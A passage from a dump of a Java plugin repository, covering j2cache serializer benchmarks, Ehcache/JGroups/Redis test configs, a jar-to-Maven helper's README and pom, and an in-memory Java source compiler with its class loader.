System.currentTimeMillis() - startTime));\n    }\n\n    /**\n     * 使用JdkSerializer序列化{@link #cacheValue}，共 10000 次，耗时：68 ms\n     * 使用JdkSerializer序列化{@link #cacheValue}，共 100000 次，耗时：303 ms\n     * 使用JdkSerializer序列化{@link #cacheValue}，共 1000000 次，耗时：1565 ms\n     * 使用JdkSerializer序列化{@link #cacheValue}，共 10000000 次，耗时：10152 ms\n     */\n    @Test\n    public void testJdk() {\n        int count = 10000000;\n        long startTime = System.currentTimeMillis();\n        // 循环测试\n        for (int i = 0; i < count; i++) {\n            byte[] bytes = jdkSerializer.serialize(cacheValue);\n        }\n\n        System.out.println(String.format(\"使用JdkSerializer序列化{@link #cacheValue}，共 %d 次，耗时：%d ms\", count, System.currentTimeMillis() - startTime));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/java/net/oschina/j2cache/serializer/TestObj.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport java.io.Serializable;\n\n/**\n * @author FY\n * @since 1.0\n */\npublic class TestObj implements Serializable {\n    private String id;\n    private String name;\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    @Override\n    public boolean equals(Object obj) {\n        return obj != null && obj instanceof TestObj && ((TestObj) obj).getId().equals(this.id) && ((TestObj) obj).getName().equals(this.name);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/resources/cache/ehcache.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<ehcache updateCheck=\"false\" dynamicConfig=\"false\">\n    <diskStore path=\"java.io.tempDir\" />\n\n    <!--\n        * maxElementsInMemory - 内存中最大缓存对象数\n        * eternal - 缓存元素是否永久有效，若配置为true，则其他的缓存生命周期timeout设置均无效\n        * timeToIdleSeconds - 设置Element在失效前的允许闲置时间。仅当element不是永久有效时使用，可选属性，默认值是0，也就是可闲置时间无穷大。\n        * timeToLiveSeconds - 设置Element在失效前允许存活时间。最大时间介于创建时间和失效时间之间。仅当element不是永久有效时使用，默认是0.，也就是element存活时间无穷大。\n        * overflowToDisk - 配置此属性，当内存中Element数量达到maxElementsInMemory时，Ehcache将会Element写到磁盘中。\n        * maxElementsOnDisk - 磁盘中最大缓存对象数，若是0表示无穷大。\n        * diskExpiryThreadIntervalSeconds - 磁盘失效线程运行时间间隔，默认是120秒。\n        * memoryStoreEvictionPolicy - 当达到maxElementsInMemory限制时，Ehcache将会根据指定的策略去清理内存。默认策略是LRU（最近最少使用）。你可以设置为FIFO（先进先出）或是LFU（较少使用）。\n    -->\n\n    <!-- 默认配置 -->\n    <defaultCache\n            maxElementsInMemory=\"10000\"\n            eternal=\"false\"\n            timeToIdleSeconds=\"60\"\n            timeToLiveSeconds=\"120\"\n            maxElementsOnDisk=\"10000000\"\n            diskExpiryThreadIntervalSeconds=\"120\"\n            memoryStoreEvictionPolicy=\"LRU\">\n        <persistence strategy=\"localTempSwap\"/>\n    </defaultCache>\n\n    <!-- 测试 -->\n    <cache name=\"testRegion\"\n           maxElementsInMemory=\"10000\"\n           eternal=\"false\"\n           timeToIdleSeconds=\"600\"\n           timeToLiveSeconds=\"1200\"\n           maxElementsOnDisk=\"10000000\"\n           diskExpiryThreadIntervalSeconds=\"120\"\n           memoryStoreEvictionPolicy=\"LRU\" />\n\n</ehcache>\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/resources/cache/jgourps_network_udp.xml",
    "content": "<config xmlns=\"urn:org:jgroups\"\n        xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n        xsi:schemaLocation=\"urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.6.xsd\">\n\n    <!-- JVM需配置禁止使用IPv6,JVM启动参数添加：-Djava.net.preferIPv4Stack=true，若使用Tomcat运行项目，则在catalina.sh文件中添加该启动参数：JAVA_OPTS -->\n    <!--\n        组播相关：\n        1.组播IP地址范围：224.0.0.0~239.255.255.255，其中224开头的为保留地址，239开头的为实验用地址。这些地址不能随便使用，它们也是有权威部门（IANA）管理，类似于ＴＣＰ，ＵＤＰ的保留端口,建议使用时避开。\n          224.0.0.0　基础地址，保留，不能被任何群组使用　\n          224.0.0.1　全主机群组（all　hosts　group），指参加本IP组播的所有主机、路由器、网关（不是指整个互连网）　\n          224.0.0.2　本子网上的路由器（all　routers　on　a　LAN）　\n          224.0.0.4　DVMRP*路由器（DVMRP　Routers）　\n　　       224.0.0.5　本子网上的OSPF*路由器(all　OSPF　routers　on　a　LAN)　\n          224.0.0.6　本子网上被指定的OSPF路由器(all　designated　OSPF　routers　on　a　LAN)　\n          224.0.1.1　网络时间协议（Network　Time　Protocol，NTP）　\n          224.0.5.000-224.0.5.127　蜂窝式数字信息包数据发送主机组（CDPD　Groups）　\n          224.1.0.0-SNAPSHOT-224.1.255.255　基于流的协议组播主机组（Stream　Protocol　Multicast　Groups）　\n          224.2.0.0-224.2.255.255　多媒体会议呼叫（Multimedia　Conference　Calls）\n    -->\n\n    <UDP mcast_addr=\"${jgroups.udp.mcast_addr:238.9.9.9}\"\n         mcast_port=\"${jgroups.udp.mcast_port:18001}\"\n         ip_ttl=\"${jgroups.udp.ip_ttl:2}\"\n         tos=\"8\"\n         ucast_recv_buf_size=\"20M\"\n         ucast_send_buf_size=\"640K\"\n         mcast_recv_buf_size=\"25M\"\n         mcast_send_buf_size=\"640K\"\n         max_bundle_size=\"64k\"\n         max_bundle_timeout=\"30\"\n         enable_diagnostics=\"true\"\n         thread_naming_pattern=\"cl\"\n\n         timer_type=\"new\"\n         timer.min_threads=\"4\"\n         timer.max_threads=\"10\"\n         timer.keep_alive_time=\"3000\"\n         timer.queue_max_size=\"500\"\n\n         thread_pool.enabled=\"true\"\n         thread_pool.min_threads=\"2\"\n         thread_pool.max_threads=\"8\"\n         thread_pool.keep_alive_time=\"5000\"\n         thread_pool.queue_enabled=\"true\"\n         thread_pool.queue_max_size=\"10000\"\n         thread_pool.rejection_policy=\"discard\"\n\n         oob_thread_pool.enabled=\"true\"\n         oob_thread_pool.min_threads=\"1\"\n         oob_thread_pool.max_threads=\"8\"\n         oob_thread_pool.keep_alive_time=\"5000\"\n         oob_thread_pool.queue_enabled=\"false\"\n         oob_thread_pool.queue_max_size=\"100\"\n         oob_thread_pool.rejection_policy=\"Run\" />\n\n    <PING />\n    <MERGE2 max_interval=\"30000\" min_interval=\"10000\" />\n\n    <FD_SOCK />\n    <FD_ALL />\n\n    <VERIFY_SUSPECT timeout=\"1500\"  />\n    <BARRIER />\n    <pbcast.NAKACK use_mcast_xmit=\"true\"\n                   retransmit_timeout=\"300,600,1200\"\n                   discard_delivered_msgs=\"true\"/>\n\n    <pbcast.STABLE stability_delay=\"1000\"\n                   desired_avg_gossip=\"50000\"\n                   max_bytes=\"4M\"/>\n    <pbcast.GMS print_local_addr=\"true\"\n                print_physical_addrs=\"true\"\n                join_timeout=\"3000\"\n                view_bundling=\"true\"\n                max_join_attempts=\"3\"/>\n\n    <UFC max_credits=\"2M\" min_threshold=\"0.4\"/>\n    <MFC max_credits=\"2M\" min_threshold=\"0.4\"/>\n    <FRAG2 frag_size=\"60K\"  />\n    <pbcast.STATE_TRANSFER />\n\n</config>\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/resources/cache/redis.properties",
    "content": "# redis configure\ncache.redis.hostname=localhost\ncache.redis.port=6379\ncache.redis.password=localredis\ncache.redis.usePool=true\ncache.redis.timeout=3000\ncache.redis.database=0\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/resources/spring-cache-test.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n        http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\">\n\n    <description>Cache配置</description>\n\n    <!-- 两级缓存实现 -->\n    <!--\n        * 该缓存工具主要是开发用于实现集群环境的缓存，一级缓存使用ehcache实现，二级缓存支持redis，可扩展其他实现。\n        * 提供二级缓存开关字段配置，集群模式开关配置\n        *\n        * 属性说明：\n        * useCluster                - 是否为集群，默认true\n        * cacheBroadcast            - 集群模式下个节点数据同步的机制，可选择为：REDIS_PUBSUB/JGROUPS_MULTICAST\n        * openSecondCache           - 是否启用二级缓存，默认false\n        * cache_jgroup_conf_file    - 使用jgroups实现ehcache集群\n        * cache_ehcache_conf_file   - 一级缓存ehcache配置文件\n        * cache_redis_conf_file     - 二级缓存redis配置文件\n    -->\n    <bean id=\"cacheFactory\" class=\"net.oschina.j2cache.CacheFactory\">\n        <property name=\"cache_jgroup_conf_file\" value=\"/cache/jgroups_network_udp.xml\" />\n        <property name=\"cache_ehcache_conf_file\" value=\"/cache/ehcache.xml\" />\n        <property name=\"cache_redis_conf_file\" value=\"/cache/redis.properties\" />\n        <property name=\"openSecondCache\" value=\"true\" />\n        <property name=\"useCluster\" value=\"true\" />\n        <property name=\"cacheBroadcast\" value=\"REDIS_PUBSUB\" />\n    </bean>\n    <bean id=\"cacheTemplate\" class=\"net.oschina.j2cache.CacheTemplate\">\n        <property name=\"factory\" ref=\"cacheFactory\" />\n    </bean>\n\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_jar2maven/README.md",
    "content": "# jarToMaven\n\n#### 介绍\njar包转成maven项目的pom.xml格式\n将网上的代码整理一番，供网友直接下载运行\n\n\n#### 软件架构\n软件架构说明\n\n\n#### 安装教程\n\n1.  运行pom.xml把需要的jar包下载下来。\n2.  运行里面唯一的java文件。\n3.  控制台输出结果，红色内容为未找到该jar所对应的格式，需要自己上网找替代版本或pom.xml配置本地jar包\n\n#### 软件运行环境说明\n\n1.  Eclipse\n2.  jdk1.7\n3.  联网\n\n#### 参与贡献\n\n1.  Fork 本仓库\n2.  新建 Feat_xxx 分支\n3.  提交代码\n4.  新建 Pull Request\n\n\n#### 码云特技\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jar2maven/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_jar2maven</artifactId>\n\t<version>1.0</version>\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<failOnMissingWebXml>false</failOnMissingWebXml>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- Servlet API -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jsoup</groupId>\n\t\t\t<artifactId>jsoup</artifactId>\n\t\t\t<version>1.8.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>dom4j</groupId>\n\t\t\t<artifactId>dom4j</artifactId>\n\t\t\t<version>1.6</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.25.sec10</version>\n\t\t</dependency>\n\t</dependencies>\n\n\n\t<build>\n\t\t<sourceDirectory>src/main/java</sourceDirectory>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.5.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.7</source>\n\t\t\t\t\t<target>1.7</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/.gitignore",
    "content": "# Java.gitignore ##############################################################\n\n*.class\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.ear\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n\n# Maven.gitignore #############################################################\n\ntarget/\npom.xml.tag\npom.xml.releaseBackup\npom.xml.versionsBackup\npom.xml.next\nrelease.properties\ndependency-reduced-pom.xml\nbuildNumber.properties\n.mvn/timing.properties\n\n# Eclipse.gitignore ###########################################################\n\n*.pydevproject\n.metadata\n.gradle\nbin/\ntmp/\n*.tmp\n*.bak\n*.swp\n*~.nib\nlocal.properties\n.settings/\n.loadpath\n\n# Eclipse Core\n.project\n\n# External tool builders\n.externalToolBuilders/\n.recommenders/\n\n# Locally stored \"Eclipse launch configurations\"\n*.launch\n\n# CDT-specific\n.cproject\n\n# JDT-specific (Eclipse Java Development Tools)\n.classpath\n\n# Java annotation processor (APT)\n.factorypath\n\n# PDT-specific\n.buildpath\n\n# sbteclipse plugin\n.target\n\n# TeXlipse plugin\n.texlipse\n\n# NetBeans.gitignore ##########################################################\n\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\nnbactions.xml\nnb-configuration.xml\n.nb-gradle/\n\n# JetBrains.gitignore #########################################################\n\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio\n\n*.iml\n\n## Directory-based project format:\n.idea/\n# if you remove the above rule, at least ignore the following:\n\n# model.User-specific stuff:\n# .idea/workspace.xml\n# .idea/tasks.xml\n# .idea/dictionaries\n\n# Sensitive or high-churn files:\n# .idea/dataSources.ids\n# .idea/dataSources.xml\n# .idea/sqlDataSources.xml\n# .idea/dynamic.xml\n# .idea/uiDesigner.xml\n\n# Gradle:\n# .idea/gradle.xml\n# .idea/libraries\n\n# Mongo Explorer plugin:\n# .idea/mongoSettings.xml\n\n## File-based project format:\n*.ipr\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\n/out/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\n\n# SublimeText.gitignore #######################################################\n\n# cache files for sublime text\n*.tmlanguage.cache\n*.tmPreferences.cache\n*.stTheme.cache\n\n# workspace files are user-specific\n*.sublime-workspace\n\n# project files should be checked into the repository, unless a significant\n# proportion of contributors will probably not be using SublimeText\n# *.sublime-project\n\n# sftp configuration file\nsftp-config.json\n\n# Vim.gitignore ###############################################################\n\n[._]*.s[a-w][a-z]\n[._]s[a-w][a-z]\n*.un~\nSession.vim\n.netrwhist\n*~\n\n# Emacs.gitignore #############################################################\n\n# -*- mode: gitignore; -*-\n*~\n\\#*\\#\n/.emacs.desktop\n/.emacs.desktop.lock\n*.elc\nauto-save-list\ntramp\n.\\#*\n\n# Org-mode\n.org-id-locations\n*_archive\n\n# flymake-mode\n*_flymake.*\n\n# eshell files\n/eshell/history\n/eshell/lastdir\n\n# elpa packages\n/elpa/\n\n# reftex files\n*.rel\n\n# AUCTeX auto folder\n/auto/\n\n# cask packages\n.cask/\n\n# Python ignore ###############################################################\n\n*.py[cod]\n\n# C extensions\n*.so\n\n# Packages\n*.egg\n*.egg-info\ndist\nbuild\neggs\nparts\nbin\nvar\nsdist\ndevelop-eggs\n.installed.cfg\nlib\nlib64\n__pycache__\n\n# Installer logs\npip-log.txt\n\n# Unit test / coverage reports\n.coverage\n.tox\nnosetests.xml\n\n# OSX.gitignore ###############################################################\n\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n# Windows.gitignore ###########################################################\n\n# Windows image file caches\nThumbs.db\nehthumbs.db\n\n# Folder config file\nDesktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# Linux.gitignore #############################################################\n\n*~\n\n# KDE directory preferences\n.directory\n\n# Linux trash folder which might appear on any partition or disk\n.Trash-*\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/.travis.yml",
    "content": "language: java\n\njdk:\n  - oraclejdk7\n\ninstall: mvn install -DskipTests=true -Dgpg.skip=true\n\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/README.md",
    "content": "# compiler\n\nCompile Java code in memory using Java 6 compiler API.\n\n[![Build Status](https://travis-ci.org/michaelliao/compiler.svg?branch=master)](https://travis-ci.org/michaelliao/compiler)\n\n### Why compiler API?\n\nYou can use compiler API to compile generated Java source code and load the compiled classes on-the-fly.\n\nFor example, generate proxy classes using compiler API instead of CGLIB or Javassist.\n\n### How to use this compiler?\n\nStep 1: add maven dependency:\n\n```\n<dependency>\n    <groupId>com.itranswarp</groupId>\n    <artifactId>compiler</artifactId>\n    <version>1.0</version>\n</dependency>\n```\n\nStep 2: compile string and load class:\n\n```\npublic class Main {\n\n    public static void main(String[] args) {\n        JavaStringCompiler compiler = new JavaStringCompiler();\n        Map<String, byte[]> results = compiler.compile(\"UserProxy.java\", JAVA_SOURCE_CODE);\n        Class<?> clazz = compiler.loadClass(\"on.the.fly.UserProxy\", results);\n        // try instance:\n        model.User user = (model.User) clazz.newInstance();\n    }\n\n    static final String JAVA_SOURCE_CODE = \"/* a single java source file */   \"\n            + \"package on.the.fly;                                            \"\n            + \"public class UserProxy extends test.model.User {                     \"\n            + \"    boolean _dirty = false;                                    \"\n            + \"    public void setId(String id) {                             \"\n            + \"        super.setId(id);                                       \"\n            + \"        setDirty(true);                                        \"\n            + \"    }                                                          \"\n            + \"    public void setName(String name) {                         \"\n            + \"        super.setName(name);                                   \"\n            + \"        setDirty(true);                                        \"\n            + \"    }                                                          \"\n            + \"    public void setCreated(long created) {                     \"\n            + \"        super.setCreated(created);                             \"\n            + \"        setDirty(true);                                        \"\n            + \"    }                                                          \"\n            + \"    public void setDirty(boolean dirty) {                      \"\n            + \"        this._dirty = dirty;                                   \"\n            + \"    }                                                          \"\n            + \"    public boolean isDirty() {                                 \"\n            + \"        return this._dirty;                                    \"\n            + \"    }                                                          \"\n            + \"}                                                              \";\n}\n```\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<version>1.0</version>\n\t<artifactId>jun_java_compiler</artifactId>\n\t<packaging>jar</packaging>\n\t\n\t<properties>\n\t\t<!-- source encoding -->\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<!-- project version -->\n\t\t<project.version>1.0</project.version>\n\t\t<!-- maven time format -->\n\t\t<maven.build.timestamp.format>yyyyMMdd_HHmmss</maven.build.timestamp.format>\n\t\t<!-- artifact version -->\n\t\t<jpa.version>2.1.1</jpa.version>\n\t\t<junit.version>4.12</junit.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.eclipse.persistence</groupId>\n\t\t\t<artifactId>javax.persistence</artifactId>\n\t\t\t<version>${jpa.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t\t\t<version>2.6</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.2</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.7</source>\n\t\t\t\t\t<target>1.7</target>\n\t\t\t\t\t<compilerArgument>-verbose</compilerArgument>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t<version>2.2.1</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>attach-sources</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t<version>2.9.1</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>attach-javadocs</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<!--<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t<version>1.5</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>sign-artifacts</id>\n\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>-->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.sonatype.plugins</groupId>\n\t\t\t\t<artifactId>nexus-staging-maven-plugin</artifactId>\n\t\t\t\t<version>1.6.3</version>\n\t\t\t\t<extensions>true</extensions>\n\t\t\t\t<configuration>\n\t\t\t\t\t<serverId>ossrh</serverId>\n\t\t\t\t\t<nexusUrl>https://oss.sonatype.org/</nexusUrl>\n\t\t\t\t\t<autoReleaseAfterClose>true</autoReleaseAfterClose>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\t<distributionManagement>\n\t\t<snapshotRepository>\n\t\t\t<id>ossrh</id>\n\t\t\t<url>https://oss.sonatype.org/content/repositories/snapshots</url>\n\t\t</snapshotRepository>\n\n\t\t<repository>\n\t\t\t<id>ossrh</id>\n\t\t\t<name>Nexus Release Repository</name>\n\t\t\t<url>http://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n\t\t</repository>\n\t</distributionManagement>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/src/main/java/com/jun/plugin/compiler/JavaStringCompiler.java",
    "content": "package com.jun.plugin.compiler;\n\nimport java.io.IOException;\nimport java.util.Arrays;\nimport java.util.Map;\n\nimport javax.tools.JavaCompiler;\nimport javax.tools.JavaFileObject;\nimport javax.tools.StandardJavaFileManager;\nimport javax.tools.ToolProvider;\nimport javax.tools.JavaCompiler.CompilationTask;\n\n/**\n * In-memory compile Java source code as String.\n * \n * @author michael\n */\npublic class JavaStringCompiler {\n\n\tJavaCompiler compiler;\n\tStandardJavaFileManager stdManager;\n\n\tpublic JavaStringCompiler() {\n\t\tthis.compiler = ToolProvider.getSystemJavaCompiler();\n\t\tthis.stdManager = compiler.getStandardFileManager(null, null, null);\n\t}\n\n\t/**\n\t * Compile a Java source file in memory.\n\t * \n\t * @param fileName\n\t *            Java file name, e.g. \"Test.java\"\n\t * @param source\n\t *            The source code as String.\n\t * @return The compiled results as Map that contains class name as key,\n\t *         class binary as value.\n\t * @throws IOException\n\t *             If compile error.\n\t */\n\tpublic Map<String, byte[]> compile(String fileName, String source) throws IOException {\n\t\ttry (MemoryJavaFileManager manager = new MemoryJavaFileManager(stdManager)) {\n\t\t\tJavaFileObject javaFileObject = manager.makeStringSource(fileName, source);\n\t\t\tCompilationTask task = compiler.getTask(null, manager, null, null, null, Arrays.asList(javaFileObject));\n\t\t\tBoolean result = task.call();\n\t\t\tif (result == null || !result.booleanValue()) {\n\t\t\t\tthrow new RuntimeException(\"Compilation failed.\");\n\t\t\t}\n\t\t\treturn manager.getClassBytes();\n\t\t}\n\t}\n\n\t/**\n\t * Load class from compiled classes.\n\t * \n\t * @param name\n\t *            Full class name.\n\t * @param classBytes\n\t *            Compiled results as a Map.\n\t * @return The Class instance.\n\t * @throws ClassNotFoundException\n\t *             If class not found.\n\t * @throws IOException\n\t *             If load error.\n\t */\n\tpublic Class<?> loadClass(String name, Map<String, byte[]> classBytes) throws ClassNotFoundException, IOException {\n\t\ttry (MemoryClassLoader classLoader = new MemoryClassLoader(classBytes)) {\n\t\t\treturn classLoader.loadClass(name);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/src/main/java/com/jun/plugin/compiler/MemoryClassLoader.java",
    "content": "package com.jun.plugin.compiler;\n\nimport java.net.URL;\nimport java.net.URLClassLoader;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Load class from byte[] which is compiled in memory.\n * \n * @author michael\n */\nclass MemoryClassLoader extends URLClassLoader {\n\n\t// class name to class bytes:\n\tMap<String, byte[]> classBytes = new HashMap<String, byte[]>();\n\n\tpublic MemoryClassLoader(Map<String, byte[]> classBytes) {\n\t\tsuper(new URL[0], MemoryClassLoader.class.getClassLoader());\n\t\tthis.classBytes.putAll(classBytes);\n\t}\n\n\t@Override\n\tprotected Class<?> findClass(String name) throws ClassNotFoundException {\n\t\tbyte[] buf = classBytes.get(name);\n\t\tif (buf == null) {\n\t\t\treturn super.findClass(name);\n\t\t}\n\t\tclassBytes.remove(name);\n\t\treturn defineClass(name, buf, 0, buf.length);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/src/main/java/com/jun/plugin/compiler/MemoryJavaFileManager.java",
    "content": "package com.jun.plugin.compiler;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.FilterOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.net.URI;\nimport java.nio.CharBuffer;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.tools.FileObject;\nimport javax.tools.ForwardingJavaFileManager;\nimport javax.tools.JavaFileManager;\nimport javax.tools.JavaFileObject;\nimport javax.tools.JavaFileObject.Kind;\nimport javax.tools.SimpleJavaFileObject;\n\n/**\n * In-memory java file manager.\n * \n * @author michael\n */\nclass MemoryJavaFileManager extends ForwardingJavaFileManager<JavaFileManager> {\n\n\t// compiled classes in bytes:\n\tfinal Map<String, byte[]> classBytes = new HashMap<String, byte[]>();\n\n\tMemoryJavaFileManager(JavaFileManager fileManager) {\n\t\tsuper(fileManager);\n\t}\n\n\tpublic Map<String, byte[]> getClassBytes() {\n\t\treturn new HashMap<String, byte[]>(this.classBytes);\n\t}\n\n\t@Override\n\tpublic void flush() throws IOException {\n\t}\n\n\t@Override\n\tpublic void close() throws IOException {\n\t\tclassBytes.clear();\n\t}\n\n\t@Override\n\tpublic JavaFileObject getJavaFileForOutput(JavaFileManager.Location location, String className, Kind kind,\n\t\t\tFileObject sibling) throws IOException {\n\t\tif (kind == Kind.CLASS) {\n\t\t\treturn new MemoryOutputJavaFileObject(className);\n\t\t} else {\n\t\t\treturn super.getJavaFileForOutput(location, className, kind, sibling);\n\t\t}\n\t}\n\n\tJavaFileObject makeStringSource(String name, String code) {\n\t\treturn new MemoryInputJavaFileObject(name, code);\n\t}\n\n\tstatic class MemoryInputJavaFileObject extends SimpleJavaFileObject {\n\n\t\tfinal String code;\n\n\t\tMemoryInputJavaFileObject(String name, String code) {\n\t\t\tsuper(URI.create(\"string:///\" + name), Kind.SOURCE);\n\t\t\tthis.code = code;\n\t\t}\n\n\t\t@Override\n\t\tpublic CharBuffer getCharContent(boolean ignoreEncodingErrors) {\n\t\t\treturn CharBuffer.wrap(code);\n\t\t}\n\t}\n\n\tclass MemoryOutputJavaFileObject extends SimpleJavaFileObject {\n\t\tfinal String name;\n\n\t\tMemoryOutputJavaFileObject(String name) {\n\t\t\tsuper(URI.create(\"string:///\" + name), Kind.CLASS);\n\t\t\tthis.name = name;\n\t\t}\n\n\t\t@Override\n\t\tpublic OutputStream openOutputStream() {\n\t\t\treturn new FilterOutputStream(new ByteArrayOutputStream()) {\n\t\t\t\t@Override\n\t\t\t\tpublic void close() throws IOException {\n\t\t\t\t\tout.close();\n\t\t\t\t\tByteArrayOutputStream bos = (ByteArrayOutputStream) out;\n\t\t\t\t\tclassBytes.put(name, 